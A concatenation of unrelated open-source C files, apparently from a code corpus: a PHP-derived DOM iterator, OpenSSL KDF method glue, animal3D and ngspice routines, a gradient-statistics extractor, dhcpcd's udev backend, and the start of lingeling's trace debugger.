iter->node = NULL;
xmlHashScan(ht, itemHashScanner, iter);
nodep = iter->node;
efree(iter);
return nodep;
} else {
return NULL;
}
}
/* }}} */
xmlNode *jonj_dom_libxml_notation_iter(xmlHashTable *ht, int index) /* {{{ */
{
notationIterator *iter;
xmlNotation *notep = NULL;
int htsize;
if ((htsize = xmlHashSize(ht)) > 0 && index < htsize) {
iter = emalloc(sizeof(notationIterator));
iter->cur = 0;
iter->index = index;
iter->notation = NULL;
xmlHashScan(ht, itemHashScanner, iter);
notep = iter->notation;
efree(iter);
return create_notation(notep->name, notep->PublicID, notep->SystemID);
} else {
return NULL;
}
}
/* }}} */
static void jonj_dom_iterator_dtor(zend_object_iterator *iter TSRMLS_DC) /* {{{ */
{
jonj_dom_iterator *iterator = (jonj_dom_iterator *)iter;
zval_ptr_dtor((zval**)&iterator->intern.data);
if (iterator->curobj) {
zval_ptr_dtor((zval**)&iterator->curobj);
}
efree(iterator);
}
/* }}} */
static int jonj_dom_iterator_valid(zend_object_iterator *iter TSRMLS_DC) /* {{{ */
{
jonj_dom_iterator *iterator = (jonj_dom_iterator *)iter;
if (iterator->curobj) {
return SUCCESS;
} else {
return FAILURE;
}
}
/* }}} */
static void jonj_dom_iterator_current_data(zend_object_iterator *iter, zval ***data TSRMLS_DC) /* {{{ */
{
jonj_dom_iterator *iterator = (jonj_dom_iterator *)iter;
*data = &iterator->curobj;
}
/* }}} */
static void jonj_dom_iterator_current_key(zend_object_iterator *iter, zval *key TSRMLS_DC) /* {{{ */
{
jonj_dom_iterator *iterator = (jonj_dom_iterator *)iter;
zval *object = (zval *)iterator->intern.data;
if (instanceof_function(Z_OBJCE_P(object), dom_nodelist_class_entry TSRMLS_CC)) {
ZVAL_LONG(key, iter->index);
} else {
dom_object *intern = (dom_object *)zend_object_store_get_object(iterator->curobj TSRMLS_CC);
if (intern != NULL && intern->ptr != NULL) {
xmlNodePtr curnode = (xmlNodePtr)((jonj_libxml_node_ptr *)intern->ptr)->node;
ZVAL_STRINGL(key, (char *) curnode->name, xmlStrlen(curnode->name), 1);
} else {
ZVAL_NULL(key);
}
}
}
/* }}} */
static void jonj_dom_iterator_move_forward(zend_object_iterator *iter TSRMLS_DC) /* {{{ */
{
zval *curobj, *curattr = NULL;
zval *object;
xmlNodePtr curnode = NULL, basenode;
dom_object *intern;
dom_object *nnmap;
dom_nnodemap_object *objmap;
int ret, previndex=0;
HashTable *nodeht;
zval **entry;
jonj_dom_iterator *iterator = (jonj_dom_iterator *)iter;
object = (zval *)iterator->intern.data;
nnmap = (dom_object *)zend_object_store_get_object(object TSRMLS_CC);
objmap = (dom_nnodemap_object *)nnmap->ptr;
curobj = iterator->curobj;
intern = (dom_object *)zend_object_store_get_object(curobj TSRMLS_CC);
if (intern != NULL && intern->ptr != NULL) {
if (objmap->nodetype != XML_ENTITY_NODE &&
objmap->nodetype != XML_NOTATION_NODE) {
if (objmap->nodetype == DOM_NODESET) {
nodeht = HASH_OF(objmap->baseobjptr);
zend_hash_move_forward(nodeht);
if (zend_hash_get_current_data(nodeht, (void **) &entry)==SUCCESS) {
curattr = *entry;
Z_ADDREF_P(curattr);
}
} else {
curnode = (xmlNodePtr)((jonj_libxml_node_ptr *)intern->ptr)->node;
if (objmap->nodetype == XML_ATTRIBUTE_NODE ||
objmap->nodetype == XML_ELEMENT_NODE) {
curnode = curnode->next;
} else {
/* Nav the tree evey time as this is LIVE */
basenode = dom_object_get_node(objmap->baseobj);
if (basenode && (basenode->type == XML_DOCUMENT_NODE ||
basenode->type == XML_HTML_DOCUMENT_NODE)) {
basenode = xmlDocGetRootElement((xmlDoc *) basenode);
} else if (basenode) {
basenode = basenode->children;
} else {
goto err;
}
curnode = dom_get_elements_by_tag_name_ns_raw(basenode, objmap->ns, objmap->local, &previndex, iter->index);
}
}
} else {
if (objmap->nodetype == XML_ENTITY_NODE) {
curnode = jonj_dom_libxml_hash_iter(objmap->ht, iter->index);
} else {
curnode = jonj_dom_libxml_notation_iter(objmap->ht, iter->index);
}
}
}
err:
zval_ptr_dtor((zval**)&curobj);
if (curnode) {
MAKE_STD_ZVAL(curattr);
curattr = jonj_dom_create_object(curnode, &ret, curattr, objmap->baseobj TSRMLS_CC);
}
iterator->curobj = curattr;
}
/* }}} */
zend_object_iterator_funcs jonj_dom_iterator_funcs = {
jonj_dom_iterator_dtor,
jonj_dom_iterator_valid,
jonj_dom_iterator_current_data,
jonj_dom_iterator_current_key,
jonj_dom_iterator_move_forward,
NULL
};
zend_object_iterator *jonj_dom_get_iterator(zend_class_entry *ce, zval *object, int by_ref TSRMLS_DC) /* {{{ */
{
dom_object *intern;
dom_nnodemap_object *objmap;
xmlNodePtr nodep, curnode=NULL;
zval *curattr = NULL;
int ret, curindex = 0;
HashTable *nodeht;
zval **entry;
jonj_dom_iterator *iterator;
if (by_ref) {
zend_error(E_ERROR, "An iterator cannot be used with foreach by reference");
}
iterator = emalloc(sizeof(jonj_dom_iterator));
Z_ADDREF_P(object);
iterator->intern.data = (void*)object;
iterator->intern.funcs = &jonj_dom_iterator_funcs;
intern = (dom_object *)zend_object_store_get_object(object TSRMLS_CC);
objmap = (dom_nnodemap_object *)intern->ptr;
if (objmap != NULL) {
if (objmap->nodetype != XML_ENTITY_NODE &&
objmap->nodetype != XML_NOTATION_NODE) {
if (objmap->nodetype == DOM_NODESET) {
nodeht = HASH_OF(objmap->baseobjptr);
zend_hash_internal_pointer_reset(nodeht);
if (zend_hash_get_current_data(nodeht, (void **) &entry)==SUCCESS) {
curattr = *entry;
Z_ADDREF_P(curattr);
}
} else {
nodep = (xmlNode *)dom_object_get_node(objmap->baseobj);
if (!nodep) {
goto err;
}
if (objmap->nodetype == XML_ATTRIBUTE_NODE || objmap->nodetype == XML_ELEMENT_NODE) {
if (objmap->nodetype == XML_ATTRIBUTE_NODE) {
curnode = (xmlNodePtr) nodep->properties;
} else {
curnode = (xmlNodePtr) nodep->children;
}
} else {
if (nodep->type == XML_DOCUMENT_NODE || nodep->type == XML_HTML_DOCUMENT_NODE) {
nodep = xmlDocGetRootElement((xmlDoc *) nodep);
} else {
nodep = nodep->children;
}
curnode = dom_get_elements_by_tag_name_ns_raw(nodep, objmap->ns, objmap->local, &curindex, 0);
}
}
} else {
if (objmap->nodetype == XML_ENTITY_NODE) {
curnode = jonj_dom_libxml_hash_iter(objmap->ht, 0);
} else {
curnode = jonj_dom_libxml_notation_iter(objmap->ht, 0);
}
}
}
err:
if (curnode) {
MAKE_STD_ZVAL(curattr);
curattr = jonj_dom_create_object(curnode, &ret, curattr, objmap->baseobj TSRMLS_CC);
}
iterator->curobj = curattr;
return (zend_object_iterator*)iterator;
}
/* }}} */
#endif
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/
|
342016.c | /*
* Copyright 2018 The OpenSSL Project Authors. All Rights Reserved.
* Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
*
* Licensed under the Apache License 2.0 (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#include <string.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/kdf.h>
#include "internal/evp_int.h"
static int pkey_kdf_init(EVP_PKEY_CTX *ctx)
{
EVP_KDF_CTX *kctx;
kctx = EVP_KDF_CTX_new_id(ctx->pmeth->pkey_id);
if (kctx == NULL)
return 0;
ctx->data = kctx;
return 1;
}
static void pkey_kdf_cleanup(EVP_PKEY_CTX *ctx)
{
EVP_KDF_CTX *kctx = ctx->data;
EVP_KDF_CTX_free(kctx);
}
static int pkey_kdf_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2)
{
EVP_KDF_CTX *kctx = ctx->data;
uint64_t u64_value;
int cmd;
int ret;
switch (type) {
case EVP_PKEY_CTRL_PASS:
cmd = EVP_KDF_CTRL_SET_PASS;
break;
case EVP_PKEY_CTRL_HKDF_SALT:
case EVP_PKEY_CTRL_SCRYPT_SALT:
cmd = EVP_KDF_CTRL_SET_SALT;
break;
case EVP_PKEY_CTRL_TLS_MD:
case EVP_PKEY_CTRL_HKDF_MD:
cmd = EVP_KDF_CTRL_SET_MD;
break;
case EVP_PKEY_CTRL_TLS_SECRET:
cmd = EVP_KDF_CTRL_SET_TLS_SECRET;
ret = EVP_KDF_ctrl(kctx, EVP_KDF_CTRL_RESET_TLS_SEED);
if (ret < 1)
return ret;
break;
case EVP_PKEY_CTRL_TLS_SEED:
cmd = EVP_KDF_CTRL_ADD_TLS_SEED;
break;
case EVP_PKEY_CTRL_HKDF_KEY:
cmd = EVP_KDF_CTRL_SET_KEY;
break;
case EVP_PKEY_CTRL_HKDF_INFO:
cmd = EVP_KDF_CTRL_ADD_HKDF_INFO;
break;
case EVP_PKEY_CTRL_HKDF_MODE:
cmd = EVP_KDF_CTRL_SET_HKDF_MODE;
break;
case EVP_PKEY_CTRL_SCRYPT_N:
cmd = EVP_KDF_CTRL_SET_SCRYPT_N;
break;
case EVP_PKEY_CTRL_SCRYPT_R:
cmd = EVP_KDF_CTRL_SET_SCRYPT_R;
break;
case EVP_PKEY_CTRL_SCRYPT_P:
cmd = EVP_KDF_CTRL_SET_SCRYPT_P;
break;
case EVP_PKEY_CTRL_SCRYPT_MAXMEM_BYTES:
cmd = EVP_KDF_CTRL_SET_MAXMEM_BYTES;
break;
default:
return -2;
}
switch (cmd) {
case EVP_KDF_CTRL_SET_PASS:
case EVP_KDF_CTRL_SET_SALT:
case EVP_KDF_CTRL_SET_KEY:
case EVP_KDF_CTRL_SET_TLS_SECRET:
case EVP_KDF_CTRL_ADD_TLS_SEED:
case EVP_KDF_CTRL_ADD_HKDF_INFO:
return EVP_KDF_ctrl(kctx, cmd, (const unsigned char *)p2, (size_t)p1);
case EVP_KDF_CTRL_SET_MD:
return EVP_KDF_ctrl(kctx, cmd, (const EVP_MD *)p2);
case EVP_KDF_CTRL_SET_HKDF_MODE:
return EVP_KDF_ctrl(kctx, cmd, (int)p1);
case EVP_KDF_CTRL_SET_SCRYPT_R:
case EVP_KDF_CTRL_SET_SCRYPT_P:
u64_value = *(uint64_t *)p2;
if (u64_value > UINT32_MAX) {
EVPerr(EVP_F_PKEY_KDF_CTRL, EVP_R_PARAMETER_TOO_LARGE);
return 0;
}
return EVP_KDF_ctrl(kctx, cmd, (uint32_t)u64_value);
case EVP_KDF_CTRL_SET_SCRYPT_N:
case EVP_KDF_CTRL_SET_MAXMEM_BYTES:
return EVP_KDF_ctrl(kctx, cmd, *(uint64_t *)p2);
default:
return 0;
}
}
static int pkey_kdf_ctrl_str(EVP_PKEY_CTX *ctx, const char *type,
const char *value)
{
EVP_KDF_CTX *kctx = ctx->data;
if (strcmp(type, "md") == 0)
return EVP_KDF_ctrl_str(kctx, "digest", value);
return EVP_KDF_ctrl_str(kctx, type, value);
}
static int pkey_kdf_derive_init(EVP_PKEY_CTX *ctx)
{
EVP_KDF_CTX *kctx = ctx->data;
EVP_KDF_reset(kctx);
return 1;
}
/*
* For fixed-output algorithms the keylen parameter is an "out" parameter
* otherwise it is an "in" parameter.
*/
static int pkey_kdf_derive(EVP_PKEY_CTX *ctx, unsigned char *key,
size_t *keylen)
{
EVP_KDF_CTX *kctx = ctx->data;
size_t outlen = EVP_KDF_size(kctx);
if (outlen == 0 || outlen == SIZE_MAX) {
/* Variable-output algorithm */
if (key == NULL)
return 0;
} else {
/* Fixed-output algorithm */
*keylen = outlen;
if (key == NULL)
return 1;
}
return EVP_KDF_derive(kctx, key, *keylen);
}
#ifndef OPENSSL_NO_SCRYPT
const EVP_PKEY_METHOD scrypt_pkey_meth = {
EVP_PKEY_SCRYPT,
0,
pkey_kdf_init,
0,
pkey_kdf_cleanup,
0, 0,
0, 0,
0,
0,
0,
0,
0, 0,
0, 0, 0, 0,
0, 0,
0, 0,
pkey_kdf_derive_init,
pkey_kdf_derive,
pkey_kdf_ctrl,
pkey_kdf_ctrl_str
};
#endif
const EVP_PKEY_METHOD tls1_prf_pkey_meth = {
EVP_PKEY_TLS1_PRF,
0,
pkey_kdf_init,
0,
pkey_kdf_cleanup,
0, 0,
0, 0,
0,
0,
0,
0,
0, 0,
0, 0, 0, 0,
0, 0,
0, 0,
pkey_kdf_derive_init,
pkey_kdf_derive,
pkey_kdf_ctrl,
pkey_kdf_ctrl_str
};
const EVP_PKEY_METHOD hkdf_pkey_meth = {
EVP_PKEY_HKDF,
0,
pkey_kdf_init,
0,
pkey_kdf_cleanup,
0, 0,
0, 0,
0,
0,
0,
0,
0, 0,
0, 0, 0, 0,
0, 0,
0, 0,
pkey_kdf_derive_init,
pkey_kdf_derive,
pkey_kdf_ctrl,
pkey_kdf_ctrl_str
};
|
365750.c | /*
Copyright 2011-2021 Daniel S. Buckstein
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
animal3D SDK: Minimal 3D Animation Framework
By Daniel S. Buckstein
a3_GraphicsObjectHandle.c
Definitions for generic reference counting handle.
**DO NOT MODIFY THIS FILE**
*/
#include "animal3D-A3DG/a3graphics/a3_GraphicsObjectHandle.h"
#include <string.h>
#include <stdlib.h>
//-----------------------------------------------------------------------------
a3ret a3handleSetName(a3_GraphicsObjectHandle *handle, const a3byte name_opt[32])
{
static a3ui32 handleNameCtr = 0;
if (handle)
{
if (name_opt && *name_opt)
{
strncpy(handle->name, name_opt, sizeof(handle->name));
}
else
{
strcpy(handle->name, "a3handle_");
_itoa(handleNameCtr++, handle->name + 9, 10);
}
handle->name[sizeof(handle->name) - 1] = 0;
return 1;
}
return -1;
}
//-----------------------------------------------------------------------------
// removed from header
/*
// Single/Array: actual OpenGL-defined release functions (closed-source)
typedef void(__stdcall *a3_GraphicsObjectReleaseFunc_Single)(a3ui32);
typedef void(__stdcall *a3_GraphicsObjectReleaseFunc_Array)(a3i32, a3ui32 *);
*/
/*
union {
a3_GraphicsObjectReleaseFunc releaseFunc;
a3_GraphicsObjectReleaseFunc_Single releaseFunc1;
a3_GraphicsObjectReleaseFunc_Array releaseFuncA;
};
a3i32 release;
*/
/*
// A3: Create generic handle with a single-object release function.
// param handle_out: non-null pointer to graphics object handle container
// param releaseFunc: non-null pointer to release function with
// return type void and one integer pointer argument
// param handleValue: non-zero initial value of handle
// return: handleValue if successfully created
// return: -1 if invalid params or if already in-use
a3ret a3handleCreateHandleSingle(a3_GraphicsObjectHandle *handle_out, const a3_GraphicsObjectReleaseFunc_Single releaseFunc, const a3ui32 handleValue);
// A3: Create generic handle with an object array release function.
// param handle_out: non-null pointer to graphics object handle container
// param releaseFunc: non-null pointer to release function with
// return type void, integer argument and integer pointer argument
// param handleValue: non-zero initial value of handle
// return: handleValue if successfully created
// return: -1 if invalid params or if already in-use
a3ret a3handleCreateHandleArray(a3_GraphicsObjectHandle *handle_out, const a3_GraphicsObjectReleaseFunc_Array releaseFunc, const a3ui32 handleValue);
// A3: Update handle delete callback with predifined function.
// param releaseFunc: non-null pointer to release function with
// return type void and one integer pointer argument
// return: 1 if successfully updated
// return: -1 if invalid params
a3ret a3handleSetReleaseFuncSingle(a3_GraphicsObjectHandle *handle, const a3_GraphicsObjectReleaseFunc_Single releaseFunc);
// A3: Update handle delete callback with predefined array function.
// param releaseFunc: non-null pointer to release function with
// return type void, integer argument and integer pointer argument
// return: 1 if successfully updated
// return: -1 if invalid params
a3ret a3handleSetReleaseFuncArray(a3_GraphicsObjectHandle *handle, const a3_GraphicsObjectReleaseFunc_Array releaseFunc);
*/
//-----------------------------------------------------------------------------
// removed from inline
/*
inline a3ret a3handleCreateHandleSingle(a3_GraphicsObjectHandle *handle_out, const a3_GraphicsObjectReleaseFunc_Single releaseFunc, const a3ui32 handleValue)
{
if (handle_out && releaseFunc && handleValue)
{
if (!handle_out->handle)
{
handle_out->releaseFunc1 = releaseFunc;
handle_out->release = 1;
handle_out->refCount = 0;
return (handle_out->handle = handleValue);
}
}
return -1;
}
inline a3ret a3handleCreateHandleArray(a3_GraphicsObjectHandle *handle_out, const a3_GraphicsObjectReleaseFunc_Array releaseFunc, const a3ui32 handleValue)
{
if (handle_out && releaseFunc && handleValue)
{
if (!handle_out->handle)
{
handle_out->releaseFuncA = releaseFunc;
handle_out->release = 2;
handle_out->refCount = 0;
return (handle_out->handle = handleValue);
}
}
return -1;
}
inline a3ret a3handleSetReleaseFuncSingle(a3_GraphicsObjectHandle *handle, const a3_GraphicsObjectReleaseFunc_Single releaseFunc)
{
if (handle && releaseFunc)
{
handle->releaseFunc1 = releaseFunc;
handle->release = 1;
return 1;
}
return -1;
}
inline a3ret a3handleSetReleaseFuncArray(a3_GraphicsObjectHandle *handle, const a3_GraphicsObjectReleaseFunc_Array releaseFunc)
{
if (handle && releaseFunc)
{
handle->releaseFuncA = releaseFunc;
handle->release = 2;
return 1;
}
return -1;
}
*/
/*
// call release function
switch (handle->release)
{
case 0:
handle->releaseFunc(handle->handlePtr);
break;
case 1:
handle->releaseFunc1(handle->handle);
break;
case 2:
handle->releaseFuncA(1, handle->handlePtr);
break;
}
}
*/
//-----------------------------------------------------------------------------
|
125502.c | /**********
Copyright 1990 Regents of the University of California. All rights reserved.
Author: 1987 Gary W. Ng
**********/
#include "ngspice/ngspice.h"
#include "ngspice/cktdefs.h"
/*
* NInzIter (ckt, posDrive, negDrive)
*
* This routine solves the adjoint system. It assumes that the matrix has
* already been loaded by a call to NIacIter, so it only alters the right
* hand side vector. The unit-valued current excitation is applied
* between nodes posDrive and negDrive.
*/
void
NInzIter(CKTcircuit *ckt, int posDrive, int negDrive)
{
int i;
/* clear out the right hand side vector */
for (i = 0; i <= SMPmatSize(ckt->CKTmatrix); i++) {
ckt->CKTrhs [i] = 0.0;
ckt->CKTirhs [i] = 0.0;
}
ckt->CKTrhs [posDrive] = 1.0; /* apply unit current excitation */
ckt->CKTrhs [negDrive] = -1.0;
SMPcaSolve(ckt->CKTmatrix, ckt->CKTrhs, ckt->CKTirhs, ckt->CKTrhsSpare,
ckt->CKTirhsSpare);
ckt->CKTrhs [0] = 0.0;
ckt->CKTirhs [0] = 0.0;
}
|
403991.c | #include <stdio.h>
#include <errno.h>
extern int errno;
int main(int argc, char **argv) {
char fname[240];
FILE *fid[3][3], *fid2, *fid3;
double *buf,mn,mx;
double sum[3][3],sum2[3][3];
char subname[240];
char c='A';
int i,j,ioff,joff,koff,len,gradi,gradj;
long nbig,ncube,size;
if (argc != 4) {
printf("USAGE: ./extract_gradu filename orig_size subcube_size \n");
exit(1);
}
/* open files of the form: filename.ij */
strncpy(fname,argv[1],240);
len=strlen(fname);
fname[len]='.';
fname[len+3]=0;
for (gradi=0; gradi<3; ++gradi) {
for (gradj=0; gradj<3; ++gradj) {
sprintf(&fname[len+1],"%1i",1+gradi);
sprintf(&fname[len+2],"%1i",1+gradj);
fid[gradi][gradj]=fopen(fname,"r");
printf("filename = %i %i %s %p\n",gradi,gradj,fname,fid[gradi][gradj]);
if (fid[gradi][gradj]==NULL) {
printf("error opening file...\n");
exit(1);
}
}
}
fname[len]=0;
/* compute name of subcube: */
strcpy(subname,fname);
len=strlen(subname);
strcpy(&subname[len],".gradu");
printf("subname = %s \n",subname);
fid2=fopen(subname,"w");
strcpy(&subname[len],".gradu2");
fid3=fopen(subname,"w");
printf("subname = %s \n",subname);
/* 256^3 blocks: */
nbig=atoi(argv[2]);
ncube=atoi(argv[3]);
printf("input file: %s\n ",fname);
printf("original size: %i subcube size: %i \n",nbig,ncube);
size=ncube;
size=size*size*size;
buf=(double *)malloc(size*sizeof(buf[1]));
if (buf==NULL) {
printf("Error: couldn't malloc subcube \n");
exit(1);
}
for (ioff=0; ioff <= nbig-ncube; ioff+=ncube ) {
for (joff=0; joff <= nbig-ncube; joff+=ncube ) {
for (koff=0; koff <= nbig-ncube; koff+=ncube ) {
printf("%i %i %i \n",ioff/ncube,joff/ncube,koff/ncube);
for (gradi=0; gradi<3; ++gradi) {
for (gradj=0; gradj<3; ++gradj) {
printf("u_%1i,%1i ",gradi,gradj);
for (i=0; i<ncube; ++i) {
for (j=0; j<ncube; ++j) {
long pos_big=nbig*(nbig*(i+ioff) + j +joff) + koff;
long pos_small=ncube*(ncube*i + j) ;
pos_big = sizeof(buf[0])*pos_big;
fseek(fid[gradi][gradj],pos_big,SEEK_SET);
if (ncube!=fread(&buf[pos_small],sizeof(buf[0]),ncube,
fid[gradi][gradj])) {
printf("Error on read \n");
exit(1);
}
}
}
mn=buf[0];
mx=buf[0];
sum[gradi][gradj]=0;
sum2[gradi][gradj]=0;
for (i=0; i<size; ++i) {
sum[gradi][gradj] += buf[i];
sum2[gradi][gradj] += buf[i]*buf[i];
if (buf[i]<mn) mn=buf[i];
if (buf[i]>mx) mx=buf[i];
}
sum[gradi][gradj]/=size;
sum2[gradi][gradj]/=size;
printf("min=%f max=%f\n",mn,mx);
}
}
fprintf(fid2,"%i %i %i \n",ioff/ncube,joff/ncube,koff/ncube);
for (i=0; i<3; ++i) {
fprintf(fid2,"%18.10e %18.10e %18.10e \n",
sum[i][0],sum[i][1],sum[i][2]);
}
fprintf(fid3,"%i %i %i \n",ioff/ncube,joff/ncube,koff/ncube);
for (i=0; i<3; ++i) {
fprintf(fid3,"%18.10e %18.10e %18.10e \n",
sum2[i][0],sum2[i][1],sum2[i][2]);
}
}
}
}
done:
for (gradi=0; gradi<3; ++gradi) {
for (gradj=0; gradj<3; ++gradj) {
fclose(fid[gradi][gradj]);
}
}
fclose(fid2);
return 0;
}
|
102244.c | /* SPDX-License-Identifier: BSD-2-Clause */
/*
* dhcpcd - DHCP client daemon
* Copyright (c) 2006-2021 Roy Marples <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifdef LIBUDEV_NOINIT
# define LIBUDEV_I_KNOW_THE_API_IS_SUBJECT_TO_CHANGE
# warning This version of udev is too old does not support
# warning per device initialization checks.
# warning As such, dhcpcd will need to depend on the
# warning udev-settle service or similar if starting
# warning in master mode.
#endif
#include <libudev.h>
#include <string.h>
#include "../common.h"
#include "../dev.h"
#include "../if.h"
#include "../logerr.h"
static const char udev_name[] = "udev";
static struct udev *udev;
static struct udev_monitor *monitor;
static struct dev_dhcpcd dhcpcd;
static int
udev_listening(void)
{
return monitor ? 1 : 0;
}
static int
udev_initialised(const char *ifname)
{
struct udev_device *device;
int r;
device = udev_device_new_from_subsystem_sysname(udev, "net", ifname);
if (device) {
#ifndef LIBUDEV_NOINIT
r = udev_device_get_is_initialized(device);
#else
r = 1;
#endif
udev_device_unref(device);
} else
r = 0;
return r;
}
static int
udev_handle_device(void *ctx)
{
struct udev_device *device;
const char *subsystem, *ifname, *action;
device = udev_monitor_receive_device(monitor);
if (device == NULL) {
logerrx("libudev: received NULL device");
return -1;
}
subsystem = udev_device_get_subsystem(device);
ifname = udev_device_get_sysname(device);
action = udev_device_get_action(device);
/* udev filter documentation says "usually" so double check */
if (strcmp(subsystem, "net") == 0) {
logdebugx("%s: libudev: %s", ifname, action);
if (strcmp(action, "add") == 0 || strcmp(action, "move") == 0)
dhcpcd.handle_interface(ctx, 1, ifname);
else if (strcmp(action, "remove") == 0)
dhcpcd.handle_interface(ctx, -1, ifname);
}
udev_device_unref(device);
return 1;
}
static void
udev_stop(void)
{
if (monitor) {
udev_monitor_unref(monitor);
monitor = NULL;
}
if (udev) {
udev_unref(udev);
udev = NULL;
}
}
static int
udev_start(void)
{
char netns[PATH_MAX];
int fd;
if (if_getnetworknamespace(netns, sizeof(netns)) != NULL) {
logdebugx("udev does not work in a network namespace");
return -1;
}
if (udev) {
logerrx("udev: already started");
return -1;
}
logdebugx("udev: starting");
udev = udev_new();
if (udev == NULL) {
logerr("udev_new");
return -1;
}
monitor = udev_monitor_new_from_netlink(udev, "udev");
if (monitor == NULL) {
logerr("udev_monitor_new_from_netlink");
goto bad;
}
#ifndef LIBUDEV_NOFILTER
if (udev_monitor_filter_add_match_subsystem_devtype(monitor,
"net", NULL) != 0)
{
logerr("udev_monitor_filter_add_match_subsystem_devtype");
goto bad;
}
#endif
if (udev_monitor_enable_receiving(monitor) != 0) {
logerr("udev_monitor_enable_receiving");
goto bad;
}
fd = udev_monitor_get_fd(monitor);
if (fd == -1) {
logerr("udev_monitor_get_fd");
goto bad;
}
return fd;
bad:
udev_stop();
return -1;
}
int
dev_init(struct dev *dev, const struct dev_dhcpcd *dev_dhcpcd)
{
dev->name = udev_name;
dev->initialised = udev_initialised;
dev->listening = udev_listening;
dev->handle_device = udev_handle_device;
dev->stop = udev_stop;
dev->start = udev_start;
dhcpcd = *dev_dhcpcd;
return 0;
}
|
263733.c | /*-------------------------------------------------------------------------*/
/* Copyright 2010-2018 Armin Biere Johannes Kepler University Linz Austria */
/*-------------------------------------------------------------------------*/
#ifdef NDEBUG
#undef NDEBUG
#endif
#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <limits.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include "lglib.h"
void lglchkclone (LGL *);
static int runs, golden, timelimit;
static int lineno, verbose, checkreturn, ddopts;
static int nmap = -1, szmap, * map, prevents;
static const char * iname, * oname;
typedef enum Type {
ADD,ASSUME,DEREF,FAILED,FREEZE,INIT,
MELT,REUSE,OPTION,PHASE,RELEASE,RETURN,SAT,SIMP,REPR,SETIMPORTANT,
SETPHASE,RESETPHASE,SETPHASES,FLUSH,REDUCE,FROZEN,USABLE,REUSABLE,
MAXVAR,INCVAR,FIXED,FIXATE,CHKCLONE,CHANGED,INCONSISTENT,LKHD
} Type;
struct Event;
typedef struct Event {
Type type;
int removed, arg;
char * opt;
} Event;
typedef struct Opt {
char * name;
int val, min, max;
} Opt;
static Event * events;
static int nevents, szevents;
static Opt * opts;
static int nopts, szopts;
static long long sumoptvals;
typedef struct Range { int from, to, removed; } Range;
static void event (Type type, int arg, const char * opt) {
Event * e;
int idx;
if (nevents == szevents) {
szevents = szevents ? 2*szevents : 1;
events = realloc (events, szevents * sizeof *events);
}
e = events + nevents++;
e->type = type;
e->arg = arg;
e->opt = opt ? strdup (opt) : 0;
e->removed = INT_MAX;
switch (type) {
case ADD:
case ASSUME:
case DEREF:
case FAILED:
case FREEZE:
case SETIMPORTANT:
case SETPHASE:
case RESETPHASE:
case MELT:
case REUSE:
case PHASE:
case FIXED:
case FROZEN:
case REUSABLE:
case USABLE:
case REPR:
idx = abs (e->arg);
if (idx > nmap) {
if (idx >= szmap) {
do { szmap = szmap ? 2*szmap : 2; } while (szmap <= idx);
map = realloc (map, szmap * sizeof *map);
}
nmap = idx;
}
map[idx] = idx;
break;
default:
break;
}
}
static void die (const char * fmt, ...) {
va_list ap;
fputs ("*** lglddtrace: ", stderr);
va_start (ap, fmt);
vfprintf (stderr, fmt, ap);
va_end (ap);
fputc ('\n', stderr);
fflush (stderr);
exit (1);
}
static void perr (const char * fmt, ...) {
va_list ap;
fprintf (stderr,
"*** lglddtrace: parse error in '%s' line %d: ", iname, lineno);
va_start (ap, fmt);
vfprintf (stderr, fmt, ap);
va_end (ap);
fputc ('\n', stderr);
fflush (stderr);
exit (1);
}
static void rep (const char * fmt, ...) {
va_list ap;
if (!verbose) return;
if (!isatty (1)) return;
fputs ("c [lglddtrace] ", stdout);
va_start (ap, fmt);
vprintf (fmt, ap);
va_end (ap);
fputs (" \r", stdout);
fflush (stdout);
}
static void msg (const char * fmt, ...) {
va_list ap;
if (!verbose) return;
fputs ("c [lglddtrace] ", stdout);
va_start (ap, fmt);
vprintf (fmt, ap);
va_end (ap);
fputc ('\n', stdout);
fflush (stdout);
}
static int isnumstr (const char * str) {
const char * p;
int ch;
if (*(p = str) == '-') p++;
if (!isdigit ((int)*p++)) return 0;
while (isdigit (ch = *p)) p++;
return !ch;
}
static int intarg (char * op) {
const char * tok;
if (!(tok = strtok (0, " ")) || !isnumstr (tok) || strtok (0, " "))
perr ("expected integer argument for '%s'", op);
assert (tok);
return atoi (tok);
}
